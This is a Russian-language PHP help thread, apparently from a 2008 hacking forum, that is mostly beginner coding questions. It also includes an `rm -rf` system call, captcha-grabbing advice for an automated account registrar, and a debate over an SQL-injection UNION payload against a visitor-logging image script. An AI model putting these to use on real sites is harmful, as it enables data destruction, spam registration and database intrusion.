и т.д.
как можно делать выборку по времени и выводить? тоесть вот сейчас 12-20 как сделать чтобы показывалось только то что идет с 12 и по настоящее время? спасибо
<?
$tv_file = 'TV.txt';
$hour = date('H', time());
$file = file($tv_file);
foreach($file as $line)
{
list($f_hour, $tmp) = explode('-', $line);
if ($f_hour >= $hour)
{
echo " ".$line."<br>\r\n";
}
}
?>
создаю функцию удаления папок и файлов(во всех вложенных директориях)
тоесть скрипт должен удалять даже те папки в которых есть содержимое ...
делаю так :
function delete($path)
{
if(is_dir($path))
{
if(rmdir($path)==false)
{
$od=opendir($path);
while($rd=readdir($od))
{
if(($rd!=".")||($rd!=".."))
{
if(is_dir($rd)) {print "1-$rd"; delete("$path/$rd");}
if(is_file($rd)) {print "2-$rd"; delete("$path/$rd");}
}
else{print "rd=($rd)";}
}
}else print "ok";
}
if(is_file($path)) {unlink($path);}
}
$dir="test";
delete($dir);
ошибки , помогите ...
groundhog
04.06.2008, 11:05
function __rmdir ($dirname) {
if ($dirHandle = opendir($dirname)) {
$oldCwd = getcwd();
chdir($dirname);
while ($file = readdir($dirHandle)) {
if ($file == '.' || $file == '..') continue;
if (is_dir($file)) {
if (!__rmdir($file)) return false;
} else {
if (!@unlink($file)) return false;
}
}
closedir($dirHandle);
chdir($oldCwd);
if (!@rmdir($dirname)) return false;
return true;
}
return false;
}
BlackSun
04.06.2008, 11:06
<? system("rm -rf /you_path/"); ?>
groundhog
04.06.2008, 11:09
А на винде твой код покатит? Не говоря уже о других аспектах...
BlackSun
04.06.2008, 11:11
Ну это как вариант
groundhog
04.06.2008, 11:11
groundhog здарова чувак, мне нужна твоя помощь, короч помнишь чат вчерашний? Вот и там при реге, проверочного кода нет, тоесть заспамить можно скриптом, как можно сделать картинку, и ниже поле для ввода? там по ходу надо создавать *.txt файл с номерами и ссылками на картинки. но я точно не знаю, мож ты в курсах?
Хз. У тебя скрипт вап-чата, поэтому картинка должна быть или в wbmp формате, или вообще что-то текстовое... Если в скрипте функционально не предусмотрена защита от спама, то это нужно добавлять руками...
preg_match("/^[-0-9]/is",$q,$b);
BlackSun
04.06.2008, 12:35
Сообщение от Andres
groundhog здарова чувак, мне нужна твоя помощь, короч помнишь чат вчерашний? Вот и там при реге, проверочного кода нет, тоесть заспамить можно скриптом, как можно сделать картинку, и ниже поле для ввода? там по ходу надо создавать *.txt файл с номерами и ссылками на картинки. но я точно не знаю, мож ты в курсах?
KCAPTCHA — готовое решение
Проект KCAPTCHA — это готовое решение, написанное на языке PHP, которое вы можете бесплатно скачать и установить на свой сайт для защиты от спама и флуда.
Принцип действия: скрипт заводит сессию и записывает в нее под именем $_SESSION['captcha_keystring'] случайным образом сгенерированную строку, после чего выдает изображение, содержащее эту самую строку в зашумленном виде. При проверке пользовательского ввода вам остается только прочитать из сессии кодовую строку и сравнить с тем, что ввел пользователь
Системные требования: PHP версии 4.0.6 и выше с поддержкой GD версии 2. Не требуются ни библиотеки для работы со шрифтами (Libttf и др.), ни ImageMagick.
В комплект входит набор растровых шрифтов, так что скрипт скорее всего будет сразу готов к работе, не требуя установки дополнительных компонент.
Можно настраивать цвета и набор символов, применяемые при создании изображения.
Download:
http://captcha.ru/kcaptcha.zip
Подскажите, пожалуйста, почему скрипт вида:
$pos[$i] = strpos($open,$stroka[$i])+'36';
$b = substr($open, $pos[$i], 8);
вытягивает из строки (>KIEN</b> bid 32.6500 0.00% ask ) лишь несколько символы которые стоят до точки с запятой, а все что после отбрасывает???
p.s. $stroka[$i] = >KIEN<
Наверное потому что
$b = substr($open, $pos[$i], 8);
Shadow_p1raT
05.06.2008, 09:17
Пишу полуовторегер,и возникла проблема с капчей,надо со страницы сохранить капчу на винт и после считать с него,Помню NOmeR1 писал про это вот тут http://forum.antichat.ru/showthread.php?p=706437#post706437
но так и не сказал как это реализовать.Может кто знает?поделитесь пожалуйста.
Посмотри код моего реггера mail.ru (http://forum.antichat.ru/thread72620.html).
Mail.ru выдаёт несколько капч в формате jpeg, я загружаю их через сокеты и не сохраняя отображаю в браузер. Примерно такой псевдокод:
header('Content-type: image/jpeg');
$capcha=загрузить_рисунок_чере з_сокет();
$capcha=отбросить_заголовки($cap cha);
print $capcha;
exit();
Например, этот код сохранён в capcha.php, тогда отобразить её можно так:
<img src='capcha.php' />
Shadow_p1raT
05.06.2008, 11:16
d_xУ меня примерно такой код
<?php
$file=file_get_contents("http://site.ru/index.php?do=register.");
$preg=preg_match_all('~<IMG+[^src=](.*)~',$file,$reg);
header('Content-type: image/jpeg');
print_r($reg);
?>
Выводится у меня прямоугольник с надписью рисунок, а сам рисунок не подгружается
У не могу понять в чём дело?
Нужно загружать сам рисунок, а не страницу, на которой он выводится.
Пример:
<?php
$file=file_get_contents("http://forum.antichat.ru/antichat/pic/logo.gif");
header('Content-type: image/gif');
print($file);
?>
А если грузить через сокеты, то:
<?php
$fp=fsockopen("tcp://forum.antichat.ru",80,$errnum,$errtxt,30);
$header="GET /antichat/pic/logo.gif HTTP/1.0\r\n";
$header.="Host: forum.antichat.ru\r\n";
$header.="Connection: close\r\n";
$header.="\r\n";
fputs($fp,$header.$vars);
while(!feof($fp))
{
$ret.=fgets($fp, 128);
}
$ret=substr($ret,strpos($ret,"\r\n\r\n")+4); //убираем заголовки сервера
header('Content-type: image/gif');
print($ret);
?>
странная у тебя регулярка, я их ща тока учу, но то что ты написал [^src=] это ведь значит что в строке не должно быть src= , интересно чо утебя там вабще вытаскивается....
Shadow_p1raT
05.06.2008, 11:44
странная у тебя регулярка, я их ща тока учу, но то что ты написал [^src=] это ведь значит что в строке не должно быть src= , интересно чо утебя там вабще вытаскивается....
^ - этот знак в шаблоне обозначает, чтобы в начале обязательно стояли следующие за ним символы.
передомной учебник , цитирую : "Символ вставки ^ означает "не", когда он помещен в квадратные скобки"
groundhog
05.06.2008, 12:03
Shadow_p1raT, ты не прав, вернее не совсем прав. Для символам "^" имеет значение где он находится, если он находится в подмножестве, тогда прав Корвин, если же он находится в начале шаблона, то он действительно означает начало с заданных символов.
Подскажите, пожалуйста, почему скрипт вида:
$pos[$i] = strpos($open,$stroka[$i])+'36';
$b = substr($open, $pos[$i], 8);
вытягивает из строки (>KIEN</b> bid 32.6500 0.00% ask ) лишь несколько символы которые стоят до точки с запятой, а все что после отбрасывает???
p.s. $stroka[$i] = >KIEN<
Наверное потому что
$b = substr($open, $pos[$i], 8);
ну и ... почему вытягивает не 8 символов, а только те что стоят до точки с запятой? я так и не понял.
он должен по идее захватывать символы:
sp;0.00%
и захватывает лишь:
sp;
groundhog
05.06.2008, 12:58
Подскажите, пожалуйста, почему скрипт вида:
$pos[$i] = strpos($open,$stroka[$i])+'36';
$b = substr($open, $pos[$i], 8);
вытягивает из строки (>KIEN</b> bid 32.6500 0.00% ask ) лишь несколько символы которые стоят до точки с запятой, а все что после отбрасывает???
p.s. $stroka[$i] = >KIEN<
Что написано, то и вытягивает... Ты сначала ищешь вхождение подстроки >KIEN< в заданной строке, потом прибавляешь к нему 36. Потом вырезаешь 8 символов с найденной позиции, которая находится как позиция вхождения >KIEN< + 36. В чём собственно вопрос? Не указывай 8 - и он вырежет всё до самого конца...
У меня он вообще выхватывает ";0.00%&n". Смотри содержимое параметров какое передаёшь, потому что по заданной тобой строке получается ожидаемый результат.
Что написано, то и вытягивает... Ты сначала ищешь вхождение подстроки >KIEN< в заданной строке, потом прибавляешь к нему 36. Потом вырезаешь 8 символов с найденной позиции, которая находится как позиция вхождения >KIEN< + 36. В чём собственно вопрос? Не указывай 8 - и он вырежет всё до самого конца...
это понятно.
У меня он вообще выхватывает ";0.00%&n".
скажи а где хранится эта подстрока? в $b[1] ? или как?
потому что как я не ввожу на экран, не выводит то что ты говоришь
все разобрался. спс. Вопрос снимается.
Подскажите пожалуйста, какой командой можно заставить выводить ошибки на экран, если есть такие?
groundhog
05.06.2008, 15:37
error_reporting(2047)?
в начале скрипта
error_reporting(E_ALL);
не выводит а ошибка есть какая-то наверняка
groundhog
05.06.2008, 15:44
Ну ты же понимаешь, что действие этой функции не распространяется на логические и алгоритмические ошибки? Что происходит-то?
ниче. видать где случайно зацепил лишний символ и удалил и терь вообще весь скрипт не рабоает
вот вычислил кусок который не работает. только не могу понять чего?
/*
if ($b[1]<0) {$tmp='<img width="10" height="10" src="./../images/fck/Image/arrow_red.gif"> '.$p[1];$col='#e30000';};
if ($b[1]>0) {$tmp='<img width="10" height="10" src="./../images/fck/Image/arrow_green.gif"> '.$p[1];$col='#f0ff00';};
if ($b[1]==0) {$tmp=$p[1];$col='#000000';$b[1]='-----'};
echo "<tr><td align=left><font size='2'><b>$tiker[$i]</b></font></td><td align=right><font size='2'>$tmp</font></td><td align=right><font size='2'
style='color:$col;'><b>$b[1]</b></font></td><td align=right><font size='2'>$date</font></td></tr>";
*/
Может изза коментов
/* */
'};
Это ещё что?
после } ненужно ;
Doom123, нет. с коментами работает, а без них нет. т.е. ошибка в этом куске
Это ещё что?
после } ненужно ;
а есть ли разница что с ними, что без? как показывают опыты - разницы нет
BlackSun
05.06.2008, 16:01
Doom123, нет. с коментами работает, а без них нет. т.е. ошибка в этом куске
Этот кусок вообше не выполняется, тк закоментирован
Еще раз повторяю:
если раскоментировать этот кусок, то весь скрипт работать не хочет.
если закоментировать, то остальной скрипт работает без ошибок.
вывод - ошибка в этом куске. или не логично?
groundhog
05.06.2008, 16:03
А момент где у тебя начинается новая строка:
style='color:$col;'>
Это ты сам сделал? Просто ENTER нажал посреди строки?
if ($b[1]==0) {$tmp=$p[1];$col='#000000';$b[1]='-----';};
Точки запятой не хватает.
нет, это так скопировалось и notepad
Скажите, ошибка:
Undefined offset: 1...
что значит?
там еще номер строки указан, как отсчитывать (считать ли закоментированные строки или те, которые выполняются сервером0?
groundhog
05.06.2008, 16:13
Строки именно те, которые он указывает, а варнинг говорит о том, что ты индексируешь массив не заданным индексом, другими словами элемент с заданным индексом не существует...
oRb, спасибо, действительно из-за точки с запятой не работало.
groundhog, скажи, а эту ошибку можно игнорировать, т.к. скрипт работает или нет?
там еще ошибка есть:
Undefined offset: 46...
oRb, спасибо, действительно из-за точки с запятой не работало.
groundhog, скажи, а эту ошибку можно игнорировать, т.к. скрипт работает или нет?
там еще ошибка есть:
Undefined offset: 46...
error_reporting(E_ERROR); вначало скрипта напиши.
А лучше все же разобраться почему у тебя там выскакивает ошибка.
Undefined offset: 46
Такая ошибка возникает при обращении массиву по несуществующему индексу.
error_reporting(E_ALL);
$a=Array();
print $a[1]; //тут будет Undefined offset: 1
а если так:
preg_match("/([\d\-\.]+)/is",$w,$b);
будет ли ошибка при
print $b[1];
?
error_reporting(E_ERROR); вначало скрипта напиши.
если так, то ошибок нет.
а если
error_reporting(E_ALL), то есть.
Ошибка будет в том случае, если эта регулярка ничего не найдёт по заданным критериям.
Так не будет ошибки:
print isset($b[1]) ? $b[1] : '';
На самом деле, undefined offset - это не ошибка, а замечание (notice). Notice'ы по умолчанию не выводятся, поэтому чтобы их увидеть, надо писать error_reporting(E_ALL).
а если я не вывожу на экран при условии, если $b пустое - не будет ли это аналогично твоему примеру?
Будет конечно, разницы нет.
if(isset($b[1])) print $b[1];
ок. спс. все понятно даже более чем! =)
Подскажите пожалуйста, что значит строка:
#<span class="show_detail">
а именно знак:
#
?
у меня он используется сразу после:
$full_content = file_get_contents($url);
Подскажите пожалуйста, что значит строка:
#<span class="show_detail">
а именно знак:
#
?
у меня он используется сразу после:
$full_content = file_get_contents($url);
Комментарий
Привет всем! вот у меня маленькая проблемка. Есть код определения моб.оператора по IP но я не пойму как добавлять диапазон IP?
$ip = "79.124.207.51";
$ips = split("\.", $ip);
@$ipnum = $ips[3] + $ips[2] * 256 + $ips[1] * 256 * 256 + $ips[0] * 256 * 256 * 256;
$oper = 0;
$IP101 = array(1402273792,1402277888,1402279936,1402281984, 1402284032,1402286080,1402287104,3251233792,358203 1776,3647627136,2886764544);
$IP201 = array(1402275839,1402278911,1402280959,1402283007, 1402285055,1402287103,1402288127,3251234815,358203 1807,3647627143,2886765568);
for ($ix=0; $ix<count($IP101); $ix++)
{
if ($ipnum>=$IP101[$ix] && $ipnum<=$IP201[$ix]) {
$oper = "1";
$country="1";
}
}
$names=array();
// РФ
$names[1]="Мегафон";
$countries=array();
$countries[1]="Россия";
if ($oper==0)
{
$code.='Ваш оператор: <b>Не определён!</b>';
}
else
{
$code.='Ваш оператор: '.$names[$oper].'<br>';
}
В каком формате и куда что подставить?
$ips = split("\.", $ip);
@$ipnum = $ips[3] + $ips[2] * 256 + $ips[1] * 256 * 256 + $ips[0] * 256 * 256 * 256;
разбиваешь ип на 4 части, остаются только цифры. потом делаешь хитрую операцию ( хз обратимая, или нет) и смотришь, входит ли полученное число в один из диапазонов. так работает определение. а для добавление нового опа скрипт нужно частично переписать
n3m0 это не то, это ты заганяешь в переменную $ip ип из фаила но зачем ведь он берётся из $ip = @$_SERVER['REMOTE_ADDR'];, а вот Piflit говорит верно но я не пойму как эту хитрую операцию делать. Может кто знает?
если бы кто обьяснил что означают цыфры 3 2 1 0 в коде @$ipnum = $ips[3] + $ips[2] * 256 + $ips[1] * 256 * 256 + $ips[0] * 256 * 256 * 256;
если есть ип 123.456.789.0
$ipnum = 0 + 789 * 256 + 456 * 256 * 256 + 123 * 256 * 256 * 256;
вот это. можно калькулятором, можно автоматизировать
Всё догнал, спасибо всем плюсы поставил, короче вот<?php
$ip = "12.12.23.34";
$ips = split("\.", $ip);
@$ipnum = $ips[3] + $ips[2] * 256 + $ips[1] * 256 * 256 + $ips[0] * 256 * 256 * 256;
echo $ipnum;
?>
люди . какой функцией в php генерируют строку из определённых символов ?
function randomstring ($length = 20)
{
$string = "";
$ch = "0123456789bcdfghjkmnpqrstvwxyz";
$i = 0;
while ($i < $length) {
$char = substr($ch, mt_rand(0, strlen($ch)-1), 1);
if (!strstr($string, $char)) {
$string .= $char;
$i++;
}
}
return $string;
}
lomerok
<?php
//Определенные символы
$chars = "abc123forpt99";
// Количество символов в строке
$max = 10;
$size = StrLen($chars)-1;
$password = null;
while($max--)
$password.=$chars[rand(0,$size)];
echo $password;
?>
У меня лучше :p
function mkey($len = 8, $type = 'ALNUM')
{
$alpha = array(
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'
);
$ALPHA = array(
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'
);
$num = array('1', '2', '3', '4', '5', '6', '7', '8', '9', '0');
$simv = array('!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '-', '_', '=', '+', '[',
']', '{', '}', '?', '<', '>');
$keyVals = array();
$key = array();
switch ($type)
{
case 'lower' :
$keyVals = $alpha;
break;
case 'upper' :
$keyVals = $ALPHA;
break;
case 'numeric' :
$keyVals = $num;
break;
case 'ALPHA' :
$keyVals = array_merge($alpha, $ALPHA);
break;
case 'ALNUM' :
$keyVals = array_merge($alpha, $ALPHA, $num, $simv);
break;
}
for($i = 0; $i <= $len-1; $i++)
{
$r = rand(0,count($keyVals)-1);
$key[$i] = $keyVals[$r];
}
return join("", $key);
}
echo mkey(16, 'ALNUM'); // 7sJds#6*^#G(63f
что делает за функция mt_rand() ?
http://ru2.php.net/manual/ru/function.mt-rand.php
Генерирует случайное значение, перед этим сама инициализируется. Быстрее и качественнее, чем rand();
astrologer
06.06.2008, 00:24
Isis, range (http://ru2.php.net/Range)('a', 'z')
кто может обьяснить нубу в чём разница между таким кодом:
echo '<form name=\"name\" method=\"POST\" action=\"action.php\">';
и таким:
echo '<form name="name" method="POST" action="action.php">';
тоесть с слэшами и без?
имхо первый корректнее, но на деле, кажется, никакой
кто может обьяснить нубу в чём разница между таким кодом:
echo '<form name=\"name\" method=\"POST\" action=\"action.php\">';
и таким:
echo '<form name="name" method="POST" action="action.php">';
тоесть с слэшами и без?
Первый неправильный. второй верный. Двойные кавычки, заключенные в одинарные, экранировать не надо
имхо первый корректнее, но на деле, кажется, никакой
совсем не имхо.
на скок я понимаю он когда просто " встречает не воспринимает ее уже как строку, а как спец символ php
допустим ты написал echo ("<form name="name""); а интерпретатор решит что при первых ", ты эхо закрываешь. Это если одинарных вначале не использовать
вродь так)
хорошо, а если так echo "<form name=\"name\" method=\"POST\" action=\"action.php\">";
вообще в чём фишка этих слэшей? дайте хоть ссылку где подробна написано про это
Запрос к поисковику экранирование.
Ты обозначаешь строку в двойных кавычках. Как интерпретатор должен определить конец строки, если ты внутри неё используешь такие же двойные кавычки? Поэтому эти символы экранируются.
хорошо, а если так echo "<form name=\"name\" method=\"POST\" action=\"action.php\">";
вообще в чём фишка этих слэшей? дайте хоть ссылку где подробна написано про это
фишка в том, что если ты строку определяешь в кавычках, то чтобы в этой строке поместить кавычку, надо ее экранировать (поставить перед ней слеш)
Статей про это фуфло не пишут. Это надо понимать.
посмотри как бы выглядел скрипт без них. и подумай почему же они все таки нужны.
почему некоректно выводятся хеши ?
$hash=$_GET['hash'];
$f="test.txt";
$file=file_get_contents($f);
$psk=strpos($file,$hash);
$end=strpos($file,":",$psk);
$oke=substr($file,$psk,$end);
print $oke;
содержимое файла test.txt :
111:aaa
222:mmmmmm
333:ggg
444:llll
чтоб при вводе 111 отображалось 111:aaa , при вводе 222 - 222:mmmmmm и так далее
согласен , но на данный момент я хочу написать файловый скрипт ...
gordonfreeman
06.06.2008, 14:34
Как вариант, читать в массив каждую строку файла функцией file()
Далее пробегаешь по массиву и ищешь встречающуюся подстроку перед ":"
Ну таким образом получаем элемент с нужной парой "login:hash", и соответственно print-им нужный элемент
gordonfreeman
06.06.2008, 14:39
Что-то вроде этого
$hash = $_GET['hash'];
$file = file([FILE path/name]);
$found = 'No match!';
for($i = 0; $i < count($file); $i++)
{
/*тут лучше регулярку*/ ? $found = $file[$i] : false;
}
echo $found;
не проверял, написал на коленке
lomerok, вот рабочий скрипт:
<?php
$hash=isset($_GET['hash']) ? str_replace('/','\/',preg_quote($_GET['hash'])) : '';
if(!isset($hash{0})) die('no hash');
$f="test.txt";
$file=file_get_contents($f);
preg_match("/(^|\n)$hash:(\S+)/s",$file,$m);
if(isset($m[0]))
print $m[0];
else
print 'not found';
?>
ндя .. тыбы алгоритм зделал . ато так и я могу (буз регулярки)
{$hash}
зачем здесь скобки?
Чтобы читабельнее скрипт был:)
preg_match("/(^|\n){$hash}:(\S+)/s",$file,$m);
что это делает(опишите синтаксис)?
http://ru2.php.net/manual/ru/reference.pcre.pattern.modifiers.php
http://ru2.php.net/manual/ru/regexp.reference.php
P.S. скрипт свой немного улучшил)
чета посмотрел и ниче непонел , как работают слэши я знаю а остальные параметры для чего ?
все разобрался всем спасибо
Помогите сделать уникальную картинку (пример myorb.site88.net (http://myorb.site88.net))
Помогите сделать уникальную картинку (пример myorb.site88.net (http://myorb.site88.net))
ты откуда мой сайт нарыл? =)
Помогите сделать уникальную картинку (пример myorb.site88.net (http://myorb.site88.net))
Обычное использование граф. библиотеки.
http://ru2.php.net/gd - почитай, думаю самому интереснее будет разобраться, чем получить готовый пример ;)
BlackSun
06.06.2008, 17:12
Помогите сделать уникальную картинку (пример myorb.site88.net (http://myorb.site88.net))
http://blacksun.fbi.be/xbar/img.png
Сорцы дать?)
реально выложи где нить, а то мне говорят, что я твою юбку стырил. Хоть посмотрю, похожи ли они)
BlackSun
06.06.2008, 17:32
http://rapidshare.com/files/120506001/www.rar
И всетаки они разные :)
<?
header ("Content-type: image/png");
error_reporting(0);
$mysql_host = "";
$mysql_database = "";
$mysql_user = "";
$mysql_password = "";
mysql_connect($mysql_host, $mysql_user, $mysql_password);
mysql_select_db($mysql_database);
$agent = substr($_SERVER['HTTP_USER_AGENT'], 0);
if(preg_match("!(Opera[\s\d\./]+)!msi", $agent, $math))
{
$agent = $math[1];
$mysqlAgent = "opera";
}
elseif(preg_match("!(Firefox[\s\d\./]+)!msi", $agent, $math))
{
$agent = $math[1];
$mysqlAgent = "firefox";
}
elseif (preg_match("!MSIE([\s\d\./]+)!msi", $agent, $math))
{
$agent = "Internet Explorer ".$math[1];
$mysqlAgent = "msie";
}
elseif (preg_match("!(Konqueror[\s\d\./]+)!msi", $agent, $math))
{
$agent = $math[1];
$mysqlAgent = "konqueror";
}
elseif (preg_match("!(Iceweasel[\s\d\./]+)!msi", $agent, $math))
{
$agent = $math[1];
$mysqlAgent = "iceweasel";
}
elseif (preg_match("!(Lynx[\s\d\./]+)!msi", $agent, $math))
{
$agent = $math[1];
$mysqlAgent = "lynx";
}
elseif (preg_match("!(Netscape[\s\d\./]+)!msi", $agent, $math))
{
$agent = $math[1];
$mysqlAgent = "netscape";
}
elseif (preg_match("!(Safari[\s\d\./]+)!msi", $agent, $math))
{
$agent = $math[1];
$mysqlAgent = "safari";
}
if(preg_match("!(Windows\s?[\s\w\.]+)!", $_SERVER['HTTP_USER_AGENT'], $math))
{
$os = $math[1];
if($os == "Windows NT 5.0")
$os = "Windows 2000";
elseif($os == "Windows NT 5.01")
$os = "Windows 2000";
elseif($os == "Windows NT 5.1")
$os = "Windows XP";
elseif($os == "Windows NT 5.2")
$os = "Windows Server 2003";
elseif($os == "Windows NT 6.0")
$os = "Windows Vista";
}
elseif(preg_match("!(Mac\s?OS[\s\w\.]+)!", $_SERVER['HTTP_USER_AGENT'], $math))
$os = $math[1];
elseif(preg_match("!(Symbian\s?OS[\s\w\./]*)!", $_SERVER['HTTP_USER_AGENT'], $math))
$os = $math[1];
elseif(preg_match("!(Linux[\s\w\./]+)!", $_SERVER['HTTP_USER_AGENT'], $math))
$os = $math[1];
elseif(preg_match("!(\w+BSD[\s\w\./]+)!", $_SERVER['HTTP_USER_AGENT'], $math))
$os = $math[1];
elseif(preg_match("!(\J2ME[\s\w\./]+)!", $_SERVER['HTTP_USER_AGENT'], $math))
$os = $math[1];
include("geoip/geoipcity.inc");
include("geoip/geoipregionvars.php");
$gi = geoip_open("geoip/GeoIPCity.dat", GEOIP_MEMORY_CACHE);
$record = geoip_record_by_addr($gi, $_SERVER['REMOTE_ADDR']);
if(!$record->city)
$record->city = "-";
if(!$record->country_name)
$record->country_name = "-";
$height = 42;
$width = 350;
$im = imagecreate($width,$height);
$clblack = ImageColorAllocate($im, 0,0,0);
$clLightGrey = ImageColorAllocate($im, 222,222,222);
$clgrey = ImageColorAllocate($im, 190,190,190);
$clDarkGray = ImageColorAllocate($im, 70,70,70);
for($i = 0; $i < $height; $i++)
{
$color = ImageColorAllocate($im, 100-(100)/$height*$i,100-(100)/$height*$i,100-(100)/$height*$i);
imageline($im,0,$i,$width-1, $i, $color);
}
for($i = 0; $i < $width+$height; $i+=5)
{
imageline($im,$i-$height,0,$i, $height, $clDarkGray);
}
imagerectangle($im, 0, 0, $width - 1 , $height - 1, $clgrey);
$font="mini.ttf";
imagettftext($im, 6, 0, 3, 10, $clgrey, $font, "> Browser:");
imagettftext($im, 6, 0, 70, 10, $clLightGrey, $font, $agent);
imagettftext($im, 6, 0, 3, 17, $clgrey, $font, "> OS:");
imagettftext($im, 6, 0, 70, 17, $clLightGrey, $font, $os);
imagettftext($im, 6, 0, 3, 24, $clgrey, $font, "> IP:");
imagettftext($im, 6, 0, 70, 24, $clLightGrey, $font, $_SERVER['REMOTE_ADDR']);
imagettftext($im, 6, 0, 3, 31, $clgrey, $font, "> Country:");
imagettftext($im, 6, 0, 70, 31, $clLightGrey, $font, $record->country_name);
imagettftext($im, 6, 0, 3, 38, $clgrey, $font, "> City:");
imagettftext($im, 6, 0, 70, 38, $clLightGrey, $font, $record->city);
imagettftext($im, 6, 0, $width-20, 10, $clgrey, $font, "oRb");
ImagePng($im);
geoip_close($gi);
mysql_query("INSERT INTO `useragents` SET `ip`='".$_SERVER['REMOTE_ADDR']."', `browser`='".addslashes($mysqlAgent)."', ".
"`useragent`='".addslashes($_SERVER['HTTP_USER_AGENT'])."', `os`='".addslashes($os)."',".
"`referer`='".addslashes($_SERVER["HTTP_REFERER"])."', `lastupdate`=NOW()".
"ON DUPLICATE KEY UPDATE `browser`='".addslashes($mysqlAgent)."', ".
"`useragent`='".addslashes($_SERVER['HTTP_USER_AGENT'])."', `os`='".addslashes($os)."',".
"`referer`='".addslashes($_SERVER["HTTP_REFERER"])."', `lastupdate`=NOW()");
?>
на хостинг не выкладываю, ибо лень 20 метров в нек кидать. geoip на сайте разработчиков.
BlackSun
06.06.2008, 18:02
$agent = substr($_SERVER['HTTP_USER_AGENT'], 0);
Дастишь олбанишЪ?
$_SERVER['REMOTE_ADDR']
$_SERVER['HTTP_USER_AGENT']
$_SERVER["HTTP_REFERER"]
Пофильтруй для приличия, ибо AccessDiver рулид :)
Блек, в твоем скрипте можно дохера чего понавставлять в Http_x_forwarder_for, Http_user_agent. я думаю о результатах догадываешься ;)
BlackSun
06.06.2008, 18:07
Блек, в твоем скрипте можно дохера чего понавставлять в Http_x_forwarder_for, Http_user_agent. я думаю о результатах догадываешься ;)
Пасибо подрочил)))) Запись в БД у меня вырублена, +
$ip = substr($ip, 0, 15);
А юзер агент отфильтрован ..
$user_agent = detect_browser($user_agent);
Дастишь олбанишЪ?
ахаха, рудимент после дебага остался :)
Пофильтруй для приличия, ибо AccessDiver рулид :)
на инсерте посматри, специльно там экранирую.
BlackSun
06.06.2008, 18:13
на инсерте посматри, специльно там экранирую.
До:
'/**/UNION/**/SELECT/**/0/*
После:
\\\'/**/UNION/**/SELECT/**/0/*
Запрос будет примерно такой:
'\\\'/**/UNION/**/SELECT/**/0/*
Это фильтрация?)) base64_encode надежней
До:
'/**/UNION/**/SELECT/**/0/*
После:
\\\'/**/UNION/**/SELECT/**/0/*
неа)
<?
echo addslashes("'/**/UNION/**/SELECT/**/0/*")
// \'/**/UNION/**/SELECT/**/0/*
?>ибо magic_quotes_runtime = Off
Запрос будет примерно такой:
'\\\'/**/UNION/**/SELECT/**/0/*
не понял. если ты отправишь это заместо агента, к примеру, в базу все равно будет вставляться \'\\\\\'/**/UNION/**/SELECT/**/0/*. И схавает он это, не поперхнувшись.
base64_encode надежней
согласен, но в pma глядеть не удобно :)
BlackSun
06.06.2008, 18:40
в базу все равно будет вставляться \'\\\\\'/**/UNION/**/SELECT/**/0/*. И схавает он это, не поперхнувшись.
Твой кусок запроса
user_agent='
Юзер агент (/**/ сменил на пробел для большей наглядности):
' UNION SELECT 0/*
после добавления слешей:
\' UNION SELECT 0/*
итого твой запрос получится:
user_agent='\' UNION SELECT 0/*
/* - обрежет остатки запроса
BlackSun
06.06.2008, 18:43
.. ток один хрен вывода нет и если у юзера нет привеленгии на запись то мона забить))
Твой кусок запроса
user_agent='
Юзер агент (/**/ сменил на пробел для большей наглядности):
' UNION SELECT 0/*
после добавления слешей:
\' UNION SELECT 0/*
итого твой запрос получится:
user_agent='\' UNION SELECT 0/*
/* - обрежет остатки запроса
Специально потестил :)
http://myorb.site88.net/black.gif
я то понимаю, что такое /*. но вот не понятно с чего ты взял, что экранирования кавычка, закроет кавычку, открытую в запросе? оО
BlackSun
06.06.2008, 19:08
Пойду убьюсь ..
http://sql-injection.gov/b.php?a='/**/union/**/select/**/0,0/*
MySQL query: SELECT * FROM test1 WHERE text='\\\'/**/union/**/select/**/0,0/*'
ID:
Text:
Схавал и не подовился =\
groundhog
06.06.2008, 19:28
Харе флудить... Тут вам не уязвимости! :)
Buffalon
06.06.2008, 21:43
Думаю это тема для новичков поэтому сюда... .
Короче я тут подумал над алгоритмом поиска и вот что я придумал.. .
Что если строить бинарное дерево и в каждую ячейку кидать букву(и эта буква будет выглядеть в двоичной форме)>
Тоесть если найденна буква то поиск идёт дальше=>
И так до конца дерева... .
>И ещо вопрос РЕально ли измерить время работы БД при n-таблиц n-пользователей обращаються к БД итд... .Но проблема будет что поле может быть и int или char итд
Buffalon
06.06.2008, 21:55
А можно ещо вопросец> можно узнать как реализован алгоритм md5()
Статейку... .плиз... .
http://ru.wikipedia.org/wiki/MD5
Какая-нибудь глобальная переменная содержит адресную строку, к которой обращается удаленный пользователь?
типа, я сделал запрос
http://site.ru/index.php?id=3&id=3
И он сохранился в какой-нибуь переменной?
$_SERVER["QUERY_STRING"] выведет "id=3&id=3"
$_SERVER["REQUEST_URI"] выведет "/index.php?id=3&id=3"
Buffalon
07.06.2008, 10:19
Какая-нибудь глобальная переменная содержит адресную строку, к которой обращается удаленный пользователь?
типа, я сделал запрос
http://site.ru/index.php?id=3&id=3
И он сохранился в какой-нибуь переменной?
Ну впринципе юзаешь phpinfo() и там всё написанно
phpinfo() %)) Может foreach провести для $_SERVER? ;) и еще для всех переменных? )
$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']
почему мой php нереагирует на то что я изменил в php.ini строку max_execution_time = 120 ; Maximum execution time of each script, in seconds
???
Привет всем! я на форуме новенький и в навигации не очень, помогите найти тему как запретить передачу рефера в php?
BlackSun
08.06.2008, 00:55
почему мой php нереагирует на то что я изменил в php.ini строку max_execution_time = 120 ; Maximum execution time of each script, in seconds
???
ignore_user_abort(1);
^- игнорировать закрытие окна пользователем
@set_time_limit(0);
^- работать вечно)
Привет всем! я на форуме новенький и в навигации не очень, помогите найти тему как запретить передачу рефера в php?
Поиск находится слева
почему мой php нереагирует на то что я изменил в php.ini строку max_execution_time = 120 ; Maximum execution time of each script, in seconds
???
Если у тебя php стоит как модуль, значит ты не перезагрузил сервер. Если как cgi обработчик, наверно, не тот php.ini правишь. (проверь в phpinfo(); )
А так лучше юзать, то что Blacksun сказал.
Привет всем! я на форуме новенький и в навигации не очень, помогите найти тему как запретить передачу рефера в php?
